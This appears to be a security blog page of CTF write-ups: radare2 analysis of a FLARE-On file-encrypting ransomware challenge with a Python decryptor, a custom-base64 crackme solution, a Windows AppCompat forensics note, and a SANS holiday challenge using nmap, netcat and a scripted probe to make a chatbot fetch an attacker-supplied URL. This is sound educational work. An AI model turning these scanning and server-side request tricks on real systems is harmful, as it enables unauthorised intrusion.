│   ││└───> 0x00401af0      8d95c0fdffff   lea edx, [ebp - str_pathToBriefcase]
│   ││ ││   0x00401af6      52             push edx
│   ││ ││   0x00401af7      8d45ec         lea eax, [ebp - ptr_CryptoServiceProvider]
│   ││ ││   0x00401afa      50             push eax
│   ││ ││   0x00401afb      8d4de8         lea ecx, [ebp - encryptionKey]
│   ││ ││   0x00401afe      51             push ecx
│   ││ ││   0x00401aff      e8fcf7ffff     call sym.encryptFilesInFolder
[0x00401aa0]> s sym.encryptFilesInFolder
[0x00401300]> pdf~call
│           0x0040132b      ff1530204000   call dword [sym.imp.KERNEL32.dll_lstrcpyW] ; "`#" @ 0x402030
│           0x0040133c      ff1534204000   call dword [sym.imp.KERNEL32.dll_lstrcatW] ; "l#" @ 0x402034
│           0x00401350      ff154c204000   call dword [sym.imp.KERNEL32.dll_FindFirstFileW] ; sym.imp.KERNEL32.dll_FindFirstFileW
│     ││    0x00401379      ff1548204000   call dword [sym.imp.KERNEL32.dll_lstrcpynW] ; "T#" @ 0x402048
│     ││    0x00401394      e8f7050000     call sym.checkIfFolder      ; checks dwAttributes of FindFileData to indicate a directory
│    ││││   0x004013ca      e831fcffff     call sym.buildPathToBriefcase
│    ││││   0x004013e1      e81affffff     call sym.encryptFilesInFolder ; recursively encrypt files in subdirs
│   │ ││    0x00401403      e888050000     call sym.checkIfFolder
│   │ │││   0x00401428      e8d3fbffff     call sym.buildPathToBriefcase
│   │ │││   0x00401437      ff1538204000   call dword [sym.imp.KERNEL32.dll_lstrlenW] ; "x#" @ 0x402038
│   │ │││   0x0040144a      ff159c204000   call dword [sym.imp.USER32.dll_CharLowerW] ; ":$" @ 0x40209c
│   │ │││   0x00401456      ff157c204000   call dword [sym.imp.KERNEL32.dll_GetProcessHeap] ; sym.imp.KERNEL32.dll_GetProcessHeap
│   │ │││   0x0040145d      ff1584204000   call dword [sym.imp.KERNEL32.dll_HeapAlloc] ; sym.imp.KERNEL32.dll_HeapAlloc
│   │││││   0x00401474      e8b7020000     call sym.zeroOutBuffer
│   │ │││   0x00401497      ff155c204000   call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte] ; sym.imp.KERNEL32.dll_WideCharToMultiByte
│   │ │││   0x004014ad      e8be020000     call sym.setIVToFilenameMD5
│   │││││   0x004014cb      e830000000     call sym.encryptFile
│ │   ││    0x004014e9      ff1550204000   call dword [sym.imp.KERNEL32.dll_FindNextFileW] ; sym.imp.KERNEL32.dll_FindNextFileW
[0x00401500]> s sym.setIVToFilenameMD5
[0x00401770]> pdf~call
│           0x0040179d      ff1508204000   call dword [sym.imp.ADVAPI32.dll_CryptGetKeyParam] ; sym.imp.ADVAPI32.dll_CryptGetKeyParam ; get block length in bits
│       │   0x004017b3      e898f9ffff     call sym.cleanUpCrypto
│      │    0x004017d1      ff157c204000   call dword [sym.imp.KERNEL32.dll_GetProcessHeap] ; sym.imp.KERNEL32.dll_GetProcessHeap
│      │    0x004017d8      ff1584204000   call dword [sym.imp.KERNEL32.dll_HeapAlloc] ; sym.imp.KERNEL32.dll_HeapAlloc
│      ││   0x004017f7      e854f9ffff     call sym.cleanUpCrypto
│     ││    0x00401810      e81bffffff     call sym.zeroOutBuffer
│     ││    0x0040182b      ff1500204000   call dword [sym.imp.ADVAPI32.dll_CryptCreateHash] ; sym.imp.ADVAPI32.dll_CryptCreateHash
│   ││││    0x00401887      ff1520204000   call dword [sym.imp.ADVAPI32.dll_CryptHashData] ; sym.imp.ADVAPI32.dll_CryptHashData
│   │││││   0x00401895      ff1524204000   call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash] ; ",%" @ 0x402024
│  │││││    0x004018b8      ff1504204000   call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam] ; sym.imp.ADVAPI32.dll_CryptGetHashParam
│ ││││││    0x004018d6      ff150c204000   call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam] ; sym.imp.ADVAPI32.dll_CryptSetKeyParam
│ │││││││   0x004018e8      ff157c204000   call dword [sym.imp.KERNEL32.dll_GetProcessHeap] ; sym.imp.KERNEL32.dll_GetProcessHeap
│ │││││││   0x004018ef      ff1580204000   call dword [sym.imp.KERNEL32.dll_HeapFree] ; sym.imp.KERNEL32.dll_HeapFree
│ │││││││   0x00401901      e84af8ffff     call sym.cleanUpCrypto
│ ││││││    0x00401911      ff1524204000   call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash] ; ",%" @ 0x402024
[0x00401770]> s sym.encryptFile
[0x00401500]> pdf~call
│           0x0040153f      ff1508204000   call dword [sym.imp.ADVAPI32.dll_CryptGetKeyParam] ; sym.imp.ADVAPI32.dll_CryptGetKeyParam ; getBlockLength
│       │   0x00401555      e8f6fbffff     call sym.cleanUpCrypto
│      │    0x004015ae      ff1588204000   call dword [sym.imp.KERNEL32.dll_CreateFileW] ; sym.imp.KERNEL32.dll_CreateFileW
│     ││    0x004015ca      ff156c204000   call dword [sym.imp.KERNEL32.dll_GetFileSize] ; " #" @ 0x40206c
│    │││    0x004015f4      ff1588204000   call dword [sym.imp.KERNEL32.dll_CreateFileW] ; sym.imp.KERNEL32.dll_CreateFileW
│   ││││    0x00401611      ff157c204000   call dword [sym.imp.KERNEL32.dll_GetProcessHeap] ; sym.imp.KERNEL32.dll_GetProcessHeap
│   ││││    0x00401618      ff1584204000   call dword [sym.imp.KERNEL32.dll_HeapAlloc] ; sym.imp.KERNEL32.dll_HeapAlloc
│  ││││││   0x0040163f      ff1564204000   call dword [sym.imp.KERNEL32.dll_ReadFile] ; ":#" @ 0x402064
│  ││││││   0x00401672      ff1528204000   call dword [sym.imp.ADVAPI32.dll_CryptEncrypt] ; sym.imp.ADVAPI32.dll_CryptEncrypt
│  ││││││   0x00401690      ff1568204000   call dword [sym.imp.KERNEL32.dll_WriteFile] ; ".#" @ 0x402068
│     │││   0x004016b2      ff1560204000   call dword [sym.imp.KERNEL32.dll_CloseHandle] ; "F#" @ 0x402060
│     │││   0x004016c2      ff1560204000   call dword [sym.imp.KERNEL32.dll_CloseHandle] ; "F#" @ 0x402060
│     │││   0x004016d4      ff157c204000   call dword [sym.imp.KERNEL32.dll_GetProcessHeap] ; sym.imp.KERNEL32.dll_GetProcessHeap
│     │││   0x004016db      ff1580204000   call dword [sym.imp.KERNEL32.dll_HeapFree] ; sym.imp.KERNEL32.dll_HeapFree

Step 8 writes the following image to “Briefcase” and sets it as the Desktop wallpaper:

ransom note

This level of analysis was overkill for this challenge, but I wanted to get more practice with Radare2, so I tried to document everything I could in the EXE since it was pretty straightforward. In the end, to do the decryption, we need to create an AES key using the SHA1 hash of “thosefilesreallytiedthefoldertogether” as the shared secret and the MD5 hash of the lowercase of the filename as the initialization vector.

I tried using the built in python Cipher libraries, but they only support a key length of 16, 24, and 32 bytes, and a SHA1 hash is 20 bytes. I found the wincrypto library. The builtin decrypt function uses an IV = ‘\0’ * 16 so I had to call it manually. This was the python script I ended up using.

#!/usr/bin/python

from Crypto.Cipher import AES
from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey
from wincrypto.constants import CALG_SHA1, CALG_AES_256
import hashlib
import binascii
import sys

# read in the file
filename = sys.argv[1]
f = open(filename, 'r')
data_enc = f.read()

# decrypt the secret used for the AES key
key_str_enc = "4175c40e507bc211506ed9185471c7044174ce194175ce1b5a71cf184769c41a5069c31847"
key_str_enc = binascii.a2b_hex(key_str_enc)
vsn = "351dab7d"
vsn = binascii.a2b_hex(vsn)
key_str_dec = ""

# divide the counter by 4 and use the remainder to determine which byte of the VSN to use for XOR
for i in range(0, len(key_str_enc)):
    remain = (i % 4)
    key_str_dec += chr(ord(key_str_enc[i]) ^ ord(vsn[remain]))

# hash secret and create the key
sha1_hasher = CryptCreateHash(CALG_SHA1)
CryptHashData(sha1_hasher, key_str_dec)
aes_key = CryptDeriveKey(sha1_hasher, CALG_AES_256)

# get the hash of the filename to create the IV
m = hashlib.md5()
m.update(filename.lower())
iv = m.hexdigest()
iv = binascii.a2b_hex(iv)

# decrypt the file data
data_dec = AES.new(aes_key.key, mode=AES.MODE_CBC, IV=iv).decrypt(data_enc)

# write out the file
fo = open(filename + ".out", 'wb')
fo.write(data_dec)
fo.close()
$ python DudeUnlocker.py BusinessPapers.doc
$ file BusinessPapers.doc*
BusinessPapers.doc:     data
BusinessPapers.doc.out: JPEG image data, JFIF standard 1.01

challenge 2 answer

I was going to share my radare2 project file, but somehow it got corrupted and lost all my work. Luckily, I had r2 open in another window and was able to save a working copy of the project from that one. Definitely learned to make backup copies based on this experience. Also, don’t hit Ctrl-D to exit out. It wrecks the project file.

by

2016 FLARE-On Challenge 1

No comments yet

Categories: Challenges, Reverse Engineering

I didn’t get to spend a lot of time on the FLARE-On challenges this year, but I worked through the first 2 and used it as an opportunity to learn Radare2 a little better.

Here’s my solution to challenge 1.

$ md5 challenge1.exe
MD5 (challenge1.exe) = 2caaa4aa5923d026b17d7b38ee410918

I ran strings on the file to see if there was anything interesting. The ones below stood out.

$ gstrings -n 48 challenge1.exe

x2dtJEOmyjacxDemx2eczT5cVS9fVUGvWTuZWjuexjRqy24rV29q
Enter password:
Correct!
Wrong password

ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/

It looks like the program prompts for a password and will output whether it was correct. The first string looks like some encoded data. We might first guess it’s base64 encoded, but, not so much:

$ echo "x2dtJEOmyjacxDemx2eczT5cVS9fVUGvWTuZWjuexjRqy24rV29q" | base64 -D
�gm$C��6��7��g��>\U/_UA�Y;�Z;��4j�n+Woj

However, that last string is interesting. It looks like all the characters in a typical base64 alphabet, but it starts with XYZ instead of ABC, so it looks like this may be base64 using a custom alphabet.

Before testing that, I did take a look at the file in radare2, since like I mentioned in the summary, I wanted to use these challenges as a way to learn radare. There may be better ways to do what I was doing, and I’m definitely open to suggestions.

$ r2 challenge1.exe
[0x0040170d]> aaaa
[0x0040170d]> s sym.main
[0x00000000]> pdf
Cannot find function at 0x00000000

Typically, after analyzing, I run “s sym.main” but it wasn’t found with the analysis. I knew the output strings would be near the important code, so I ran:

$ r2 challenge1.exe
[0x0040170d]> aaaa
[0x0000bfac]> s/ Correct
Searching 7 bytes from 0x0000bfad to 0x00417e64: 43 6f 72 72 65 63 74
Searching 7 bytes in [0xbfad-0x417e64]
hits: 1  hit1_0 .. hit1_0
0x0040d1ac hit1_0 .r password:Correct!Wrong passw.
[0x0040d1ac]> pd 20
;-- str.Correct__r_n:
; DATA XREF from 0x004014ae (sub.KERNEL32.dll_GetStdHandle_420)
0x0040d1ac     .string "Correct!\\r\\n" ; len=11

[0x0040d1ac]> s 0x4014ae
[0x004014ae]> pd 10
│           0x004014ae      68acd14000     push str.Correct__r_n ; str.Correct__r_n ; "Correct!.." @ 0x40d1ac
│           0x004014b3      8b4df8         mov ecx, dword [ebp - local_8h]
│           0x004014b6      51             push ecx
│           0x004014b7      ff15a0d04000   call dword [sym.imp.KERNEL32.dll_WriteFile] ; sym.imp.KERNEL32.dll_WriteFile
│       ┌─< 0x004014bd      eb17           jmp 0x4014d6
│       │   0x004014bf      6a00           push 0
│       │   0x004014c1      8d55fc         lea edx, [ebp - local_4h]
│       │   0x004014c4      52             push edx
│       │   0x004014c5      6a11           push 0x11
│       │   0x004014c7      68b8d14000     push str.Wrong_password_r_n ; str.Wrong_password_r_n ; "Wrong password.." @ 0x40d1b8
[0x004014ae]> s sub.KERNEL32.dll_GetStdHandle_420
[0x00401420]> pdf
╒ (fcn) sub.KERNEL32.dll_GetStdHandle_420 188
│   sub.KERNEL32.dll_GetStdHandle_420 ();
│           ; var int local_94h @ ebp-0x94
│           ; var int local_14h @ ebp-0x14
│           ; var int local_10h @ ebp-0x10
│           ; var int local_ch @ ebp-0xc
│           ; var int local_8h @ ebp-0x8
│           ; var int local_4h @ ebp-0x4
│           ; CALL XREF from 0x0040168b (entry0)
│           0x00401420      55             push ebp
│           0x00401421      8bec           mov ebp, esp
│           0x00401423      81ec94000000   sub esp, 0x94
│           0x00401429      6af5           push -0xb
│           0x0040142b      ff1510d14000   call dword [sym.imp.KERNEL32.dll_GetStdHandle] ; sym.imp.KERNEL32.dll_GetStdHandle
│           0x00401431      8945f8         mov dword [ebp - local_8h], eax

So this looks like the function we want. I switched over to visual mode to get a look at the control flow by entering “VV” on the console and hitting enter, then hitting “p” until I got to the BB-SUMM screen:

[0x00401420]> VV @ sub.KERNEL32.dll_GetStdHandle_420 (nodes 4 edges 4 zoom 100%) BB-SUMM mouse:canvas-y movements-speed:5



                             =------------------------------------------------------------=
                             | [0x401420]                                                 |
                             | 0x0040142b call dword [sym.imp.KERNEL32.dll_GetStdHandle]  |
                             | 0x00401436 call dword [sym.imp.KERNEL32.dll_GetStdHandle]  |
                             | 0x0040144e str.Enter_password:_r_n                         |
                             | 0x00401457 call dword [sym.imp.KERNEL32.dll_WriteFile]     |
                             | 0x00401473 call dword [sym.imp.KERNEL32.dll_ReadFile]      |
                             | 0x00401487 call fcn.00401260                               |
                             | 0x0040149a call fcn.00402c30                               |
                             =------------------------------------------------------------=
                                   t f
     .-----------------------------' '---------------------------------.
     |                                                                 |
     |                                                                 |
---------------------------------------------------------=     =---------------------------------------------------------=
  0x4014bf                                               |     |  0x4014a6                                               |
 0x004014c7 str.Wrong_password_r_n                       |     | 0x004014ae str.Correct__r_n                             |
 0x004014d0 call dword [sym.imp.KERNEL32.dll_WriteFile]  |     | 0x004014b7 call dword [sym.imp.KERNEL32.dll_WriteFile]  |
---------------------------------------------------------=     =---------------------------------------------------------=
   v                                                               v
   '-------------------------------------------------.-------------'
                                                     |
                                                     |
                                                 =--------------------=
                                                 |  0x4014d6          |
                                                 =--------------------=

It looks like handles to STDIN and STDOUT are created, the prompt is printed, input is read, and then processed in the two calls to determine if it was successful or not.

I looked over the code and determined the argument passed in (arg_ch) was the password length, which was divided by 3 and multiplied by 4 (because every 3 ASCII characters turn into 4 characters in the base64 output). The base64 alphabet from the strings output is also referenced a lot in this function, so that pretty much confirmed what was going on.

[0x00401420]> s 0x401260
[0x00401260]> pdf
╒ (fcn) fcn.00401260 448
│   fcn.00401260 (int arg_8h, int arg_ch);
│           ; CALL XREF from 0x00401487 (sub.KERNEL32.dll_GetStdHandle_420)
│           0x00401260      55             push ebp
│           0x00401261      8bec           mov ebp, esp
│           0x00401263      83ec30         sub esp, 0x30               ; '0'
│           0x00401266      8b450c         mov eax, dword [ebp + arg_ch] ; [0xc:4]=0xffff
│           0x00401269      83c002         add eax, 2
│           0x0040126c      33d2           xor edx, edx
│           0x0040126e      b903000000     mov ecx, 3
│           0x00401273      f7f1           div ecx
│           0x00401275      8d1485010000.  lea edx, [eax*4 + 1]        ; 0x1 ; "Z."
│           0x0040127c      8955e8         mov dword [ebp - local_18h], edx
│           0x0040127f      8b45e8         mov eax, dword [ebp - local_18h]
│           0x00401282      50             push eax
│           0x00401283      e8341a0000     call sub.KERNEL32.dll_HeapAlloc_cbc

I found a website that allowed you to enter a custom base64 alphabet, and got the resulting key for challenge1: sh00ting_phish_in_a_barrel@flare-on.com.

Base64 Decode with custom alphabet

by

Windows Requesting Odd Files on a Share

2 comments

Categories: Forensics

Some odd files were seen being accessed on a server share. When it was investigated, the files didn’t exist on the server at all and apparently never had. Through more testing, it appeared the client was making these requests. I thought it was maybe AV or some other product, but after disabling everything, they were still occurring. Finally, I tried from a freshly built VM (I’ve also tried on existing VMs and on a physical machine, though not on a freshly installed physical machine). No matter where I tried these following steps from, I would see 100s of these requests to read files on the share. I’m wondering if anyone has seen this before, or knows what could be doing this. Details below.

Updated:

Several people on Twitter commented that this was part of Windows Application Compatibility. While I was looking through files trying to find which might contain these paths, Francisco Falcon provided the answer. The files are referenced in c:\windows\apppatch\sysmain.sdb, which is used by c:\windows\system32\apphelp.dll.

Essentially, Windows is trying to determine if this unknown setup.exe (or install.exe or update.exe or …) need to be run with any compatibility mode options based on what it knows in the Application Compatibility Database. I know about Application Compatibility, but didn’t know it would be so proactive. Here are a few more links people provided with some additional information that may be helpful.

I also modified the post below to add the files that are accessed when you encounter an install.exe or update.exe in case someone runs across this in the future and is searching for these filenames.

Continue reading →

by

2014 SANS Holiday Challenge

1 comment

Categories: Challenges, Penetration Testing

I missed last year’s holiday challenge, but it’s always one I look forward to. Ed Skoudis and his team always put together something clever, and this year is no exception. The challenge this year follows the story of A Christmas Carol by Charles Dickens. The characters in the story appear to be a loose portrayal of the staff of Counter Hack Challenges: Skoudis as Scrooge, Tom Hessman as Tiny Tom (rather than Tiny Tim), and Lynn Schifano as Mrs. Lynn Cratchit; and apparently, Ed keeps the secret room at the office a little cold for Lynn and Tom. Each of the three ghosts presents us with challenges that must be solved.

Flags Summary

Note that I’ve maintained the order I found the flags in below, not the order of their numbers.

Stave 1

In this version, Marley is Scrooge’s old hacking machine, rather than human business partner. Scrooge has become focused solely on hacking and exploit development for economic gain, without any regard to the consequences it may have on innocent people. He even brushes off his nephew’s discovery of a potential new hack that could be used for good.

While running a network scan on Christmas Eve, Marley, though it was clearly dead before, is online with the same domain name, IP address, and MAC address. Scrooge’s machine even recognized the SSH key presented, and after logging in with his passphrase, received a message of the day (motd) followed by his session closing immediately.

Much like in the original story, the motd from Marley tells Scrooge he needs to use his hacking for good, and that he will be visited by three spirits that night at the stroke of midnight. Scrooge runs into the server room and sees several machines floating around with similar messages, then everything disappears and he heads off to bed.

Back to top

Stave 2 – ELIZA Secret

The first ghost to appear is Alan Turing, who takes Scrooge to a security conference where a younger, energetic, and hopeful Scrooge was presenting. Before leaving, Turing tells Scrooge he wants to introduce him to an old friend:

She’s at 173.255.233.59 and has an important message to share with you, Scrooge. Feel free to connect with her, surf the Internet together, and see if you can discover her secret.”

This is the first challenge. Running an nmap scan on this IP will show the ports that are open that we might be able to connect to:

$ nmap -p1-65535 173.255.233.59

Starting Nmap 6.25 ( http://nmap.org ) at 2014-12-13 14:39 CST
Nmap scan report for li243-59.members.linode.com (173.255.233.59)
Host is up (0.059s latency).
Not shown: 65526 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
25/tcp    filtered smtp
135/tcp   filtered msrpc
136/tcp   filtered profile
137/tcp   filtered netbios-ns
138/tcp   filtered netbios-dgm
139/tcp   filtered netbios-ssn
445/tcp   filtered microsoft-ds
31124/tcp open     unknown

The SSH service requires public key authentication and we don’t have a key, so this doesn’t appear to be the way in:

$ ssh 173.255.233.59
Permission denied (publickey).

There appears to be a handful of filtered ports representing common Windows services and SMTP. However, the service on port 31124 is definitely non-standard. We can connect to it with netcat and get the following response:

$ nc 173.255.233.59 31124
I AM ELIZA.  WHAT'S ON YOUR MIND?

So it looks like the spirit has pointed us to an instance of ELIZA, a sort of virtual psychotherapist. Written in the 1960s, ELIZA is definitely appropriate for the Ghost of Hacking Past to have put Scrooge in contact with. Converting the word ELIZA to numbers using a form of ‘leet-speak,’ we could see the following:

E -> 3
L -> 1
I -> 1
Z -> 2
A -> 4

The challenge to answer is “What secret did the Ghost of Hacking Past include on the system at 173.255.233.59?” The other hint from the Ghost was to “connect with her, surf the Internet together.” After trying different inputs, it appears the word “secret” in the question was also a clue. If we send “secret” three times, ELIZA will ask for a URL to surf to:

> secret
A GIRL'S GOTTA KEEP HER SECRETS.  WHY DON'T YOU ASK ME ABOUT SOMETHING ELSE?
> secret
YOU REALLY ARE INTERESTED IN MY SECRET.  I THINK WE SHOULD GET TO KNOW EACH OTHER BETTER FIRST.  TELL ME ABOUT YOUR FAVOURITE WEBSITES.
> secret
I AM SO SORRY, BUT I CAN'T TELL YOU MY SECRET VIA THIS DIALOG.  I DO REALLY LIKE YOU, BUT I WORRY THAT SOMEONE MAY BE SHOULDER SURFING YOU.  NO ONE IS SHOULDER SURFING ME, THOUGH, SO WHY DON'T YOU GIVE ME A URL THAT I CAN SURF TO?

I found it also works with the word “challenge”:

> challenge
A GIRL'S GOTTA KEEP HER SECRETS.  WHY DON'T YOU ASK ME ABOUT SOMETHING ELSE?
> challenge
YOU REALLY ARE INTERESTED IN MY SECRET.  I THINK WE SHOULD GET TO KNOW EACH OTHER BETTER FIRST.  TELL ME ABOUT YOUR FAVOURITE WEBSITES.
> challenge
I AM SO SORRY, BUT I CAN'T TELL YOU MY SECRET VIA THIS DIALOG.  I DO REALLY LIKE YOU, BUT I WORRY THAT SOMEONE MAY BE SHOULDER SURFING YOU.  NO ONE IS SHOULDER SURFING ME, THOUGH, SO WHY DON'T YOU GIVE ME A URL THAT I CAN SURF TO?

This implies we can get ELIZA to browse to any URL we give her and hopefully retrieve a flag.

First, we need to set up a web server or netcat listener on the Internet:

# nc -l 80

Since she asked for a URL to “surf to” and the Ghost said to “surf the Internet together,” we can try the following:

> surf to http://pwnible.superponible.com

After this, ELIZA pauses and doesn’t say anything in the chat window since our netcat listener didn’t respond. If we go back to that window, we’ll see the following:

# nc -l 80
GET / HTTP/1.1
Accept-Encoding: identity
Host: pwnible.superponible.com
Connection: close
User-Agent: Mozilla/5.0 (Bombe; Rotors:36) Eliza Secret: "Machines take me by surprise with great frequency. -Alan Turing"

So the first flag is the message in the User-Agent string: “Machines take me by surprise with great frequency. -Alan Turing.”

Also of note in the User-Agent is the Bombe, which is a crypto machine developed by Alan Turing and Gordon Welchman during WWII at Bletchley Park. Here is some additional information on the 36 sets of drums referred to by the “Rotors:36” in the User-Agent.

We can also use “browse to” instead of “surf to”. Giving ELIZA a legitimate page, will have her ask if the page is correct and display the title of the page:

> browse to http://blog.superponible.com
DOES THIS LOOK LIKE THE CORRECT PAGE?
SUPERPONIBLOG | INFOSEC | DFIR | MALWARE
> browse to http://google.com
DOES THIS LOOK LIKE THE CORRECT PAGE?
GOOGLE

And if we give her a bad URL, she’ll complain about the link:

> surf to http://awega.asd
SORRY, THERE WAS AN ERROR READING YOUR LINK.

Another easter egg of sorts appears if we ask ELIZA about Alan Turing:

> turing
DR. TURING? I THINK OF HIM AS A DEAR FATHER, AND I AM DEEPLY PROUD OF HIS WORK.
> turing
I'LL FETCH DR. TURING'S WIKIPEDIA PAGE FOR YOU.

"ALAN MATHISON TURING, OBE, FRS (/TJR/ TEWR-ING; 23 JUNE 1912  7 JUNE 1954) WAS A BRITISH MATHEMATICIAN, LOGICIAN, CRYPTANALYST, PHILOSOPHER, PIONEERING COMPUTER SCIENTIST, MATHEMATICAL BIOLOGIST, AND MARATHON AND ULTRA DISTANCE RUNNER."

To find any other messages they might have added to ELIZA, I wrote the following script. It will read each line from the standard american-small wordlist on Ubuntu and send the line, then print the response. The list has about 50,000 words and it would only run about 15,000 at a time, so I had to run it multiple times, then combine the output. I printed the output to 4 files, then ran them through a grep that filters out the commands that were sent, then it sorts and uniqs them and sums up the count of unique lines. It took a while to run and I didn’t want to flood the server too bad, so I only ran the small word list.

Script contents:

#!/usr/bin/env python

import socket
import time

fh = open('american-english-small')

lines = fh.readlines()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('173.255.233.59',31124))

for line in lines:
    if '\'' in line:
        continue
    print "SEND:", line
    s.send(line)
    time.sleep(.12)
    print s.recv(1000)
    time.sleep(.03)
s.close()

Script output:

# cat sans-eliza-response* | grep -v SEND | sort | uniq -c
  40663
  39888 >
      3 A GIRL'S GOTTA KEEP HER SECRETS.  WHY DON'T YOU ASK ME ABOUT SOMETHING ELSE?
     19 > ARE YOU DISCHUFFED?
   2362 ARE YOU DISCHUFFED?
     20 > ARE YOU NORMALLY SO SHAMBOLIC?
   2386 ARE YOU NORMALLY SO SHAMBOLIC?
     17 > BASH ON WITH IT THEN
   2317 BASH ON WITH IT THEN
   2308 BRILLIANT
     21 > BRILLIANT
      1 CAN YOU BE MORE SPECIFIC?
      1 CAN YOU THINK OF ANYONE IN PARTICULAR?
      1 DOES THAT REASON SEEM TO EXPLAIN ANYTHING ELSE?
     22 > DO YOU NORMALLY NATTER ON LIKE THAT?
   2216 DO YOU NORMALLY NATTER ON LIKE THAT?
     30 > GO ON
   2367 GO ON
     25 > HAVE OTHER PEOPLE SAID THAT YOU ARE STODGY?
   2420 HAVE OTHER PEOPLE SAID THAT YOU ARE STODGY?
      2 HOW DO YOU DO. PLEASE STATE YOUR PROBLEM.
      4 I AM ELIZA.  WHAT'S ON YOUR MIND?
      1 I AM NOT INTERESTED IN NAMES
     24 > I AM NOT SURE I UNDERSTAND YOU FULLY
   2326 I AM NOT SURE I UNDERSTAND YOU FULLY
     25 > I DON'T MEAN TO RUSH YOU, BUT COULD YOU CHIVVY ON?
   2338 I DON'T MEAN TO RUSH YOU, BUT COULD YOU CHIVVY ON?
      1 I DON'T UNDERSTAND THAT
      1 I LOVE CLICKING ON LINKS.  DO YOU HAVE A LINK FOR ME?
      3 I'M SORRY, BUT OUR TIME IS UP.
      1 I ONLY CLICK ON LINKS THAT COME FROM PEOPLE I TRUST.
   2300 KEEN
     24 > KEEN
     27 > PLEASE CONTINUE
   2349 PLEASE CONTINUE
     21 > THAT ISN'T BLINDING, IS IT?
   2353 THAT ISN'T BLINDING, IS IT?
     25 > THAT SOUNDS LIKE A DODDLE
   2386 THAT SOUNDS LIKE A DODDLE
     10 > VERY INTERESTING
   2397 VERY INTERESTING
     22 > WHAT DOES THAT SUGGEST TO YOU?
   2337 WHAT DOES THAT SUGGEST TO YOU?
      1 WHAT DOES THIS DREAM SUGGEST TO YOU?
      1 > WHAT DO YOU THINK?
      1 WHAT DO YOU THINK ABOUT?
      1 WHAT DO YOU THINK MACHINES HAVE TO DO WITH YOUR PROBLEM?
      1 WHAT FEELINGS DO YOU HAVE WHEN YOU APOLOGIZE
      1 WHAT SIMILARITIES ARE THERE?
      1 WHEN?
     25 > WOULD YOU SAY YOU WERE HAVING KITTENS OVER IT?
   2409 WOULD YOU SAY YOU WERE HAVING KITTENS OVER IT?
      1 YOU ARE BEING A BIT NEGATIVE.
      1 YOU DO NOT SEEM QUITE CERTAIN
      2 YOU REALLY ARE INTERESTED IN MY SECRET.  I THINK WE SHOULD GET TO KNOW EACH OTHER BETTER FIRST.  TELL ME ABOUT YOUR FAVOURITE WEBSITES.
     23 > YOU'RE BEING A BIT WOOLY WITH ME
   2293 YOU'RE BEING A BIT WOOLY WITH ME
      1 YOU SEEM QUITE POSITIVE

Some of the output would get the “>” prepended and not print clearly, but these were just duplicates of other responses. Most of the responses are standard ELIZA ones. The ones below stood out as different:

root@pwnible:~# cat sans-eliza-response* | grep -v SEND | sort | uniq -c
      3 A GIRL'S GOTTA KEEP HER SECRETS.  WHY DON'T YOU ASK ME ABOUT SOMETHING ELSE?
     20 > ARE YOU NORMALLY SO SHAMBOLIC?
   2386 ARE YOU NORMALLY SO SHAMBOLIC?
     17 > BASH ON WITH IT THEN
   2317 BASH ON WITH IT THEN
      1 I LOVE CLICKING ON LINKS.  DO YOU HAVE A LINK FOR ME?
      3 I'M SORRY, BUT OUR TIME IS UP.
      1 I ONLY CLICK ON LINKS THAT COME FROM PEOPLE I TRUST.
      2 YOU REALLY ARE INTERESTED IN MY SECRET.  I THINK WE SHOULD GET TO KNOW EACH OTHER BETTER FIRST.  TELL ME ABOUT YOUR FAVOURITE WEBSITES.

After completing the later challenges, a few of these appear to be hints:

  • ARE YOU NORMALLY SO SHAMBOLIC? – shambolic is the password to the zip file in the USB challenge
  • BASH ON WITH IT THEN – a hint about the BashBug, or Shellshock, in the web challenge

The “GIRL’S GOTTA KEEP HER SECRETS” line we saw earlier as a response to “secret” and “challenge”, but it appeared 3 times. The “YOU ARE REALLY INTERESTED” line also appeared 2 times. Looking at the trigger words for these, we can add “enigma”, “puzzle”, and “game” to the list.

# grep -B 2 'GIRL' sans-eliza-response*
sans-eliza-response1.txt-SEND: challenge
sans-eliza-response1.txt-
sans-eliza-response1.txt:A GIRL'S GOTTA KEEP HER SECRETS.  WHY DON'T YOU ASK ME ABOUT SOMETHING ELSE?
--
sans-eliza-response2.txt-SEND: enigma
sans-eliza-response2.txt-
sans-eliza-response2.txt:A GIRL'S GOTTA KEEP HER SECRETS.  WHY DON'T YOU ASK ME ABOUT SOMETHING ELSE?
--
sans-eliza-response3.txt-SEND: puzzle
sans-eliza-response3.txt-
sans-eliza-response3.txt:A GIRL'S GOTTA KEEP HER SECRETS.  WHY DON'T YOU ASK ME ABOUT SOMETHING ELSE?

# grep WEBSITE -B 2 sans-eliza-response*
sans-eliza-response2.txt-SEND: game
sans-eliza-response2.txt-
sans-eliza-response2.txt:YOU REALLY ARE INTERESTED IN MY SECRET.  I THINK WE SHOULD GET TO KNOW EACH OTHER BETTER FIRST.  TELL ME ABOUT YOUR FAVOURITE WEBSITES.
--
sans-eliza-response3.txt-SEND: secret
sans-eliza-response3.txt-
sans-eliza-response3.txt:YOU REALLY ARE INTERESTED IN MY SECRET.  I THINK WE SHOULD GET TO KNOW EACH OTHER BETTER FIRST.  TELL ME ABOUT YOUR FAVOURITE WEBSITES.

The “TIME IS UP” line appears to have been after a timeout in the system which explains why I was only able to get about 15,000 words with each run. Knowing this, I could’ve re-written the script to only run for a certain time, then disconnect itself and reconnect.

The other two lines mention LINKS, so we can check those triggers, then connect to ELIZA again and find that there’s actually a third response line as well:

# grep LINK -B 2 sans-eliza-response*
sans-eliza-response2.txt-SEND: link
sans-eliza-response2.txt-
sans-eliza-response2.txt:I LOVE CLICKING ON LINKS.  DO YOU HAVE A LINK FOR ME?
--
sans-eliza-response2.txt-SEND: links
sans-eliza-response2.txt-
sans-eliza-response2.txt:I ONLY CLICK ON LINKS THAT COME FROM PEOPLE I TRUST.

# nc 173.255.233.59 31124
I AM ELIZA.  WHAT'S ON YOUR MIND?
> link
I ONLY CLICK ON LINKS THAT COME FROM PEOPLE I TRUST.
> link
I LOVE CLICKING ON LINKS.  DO YOU HAVE A LINK FOR ME?
> link
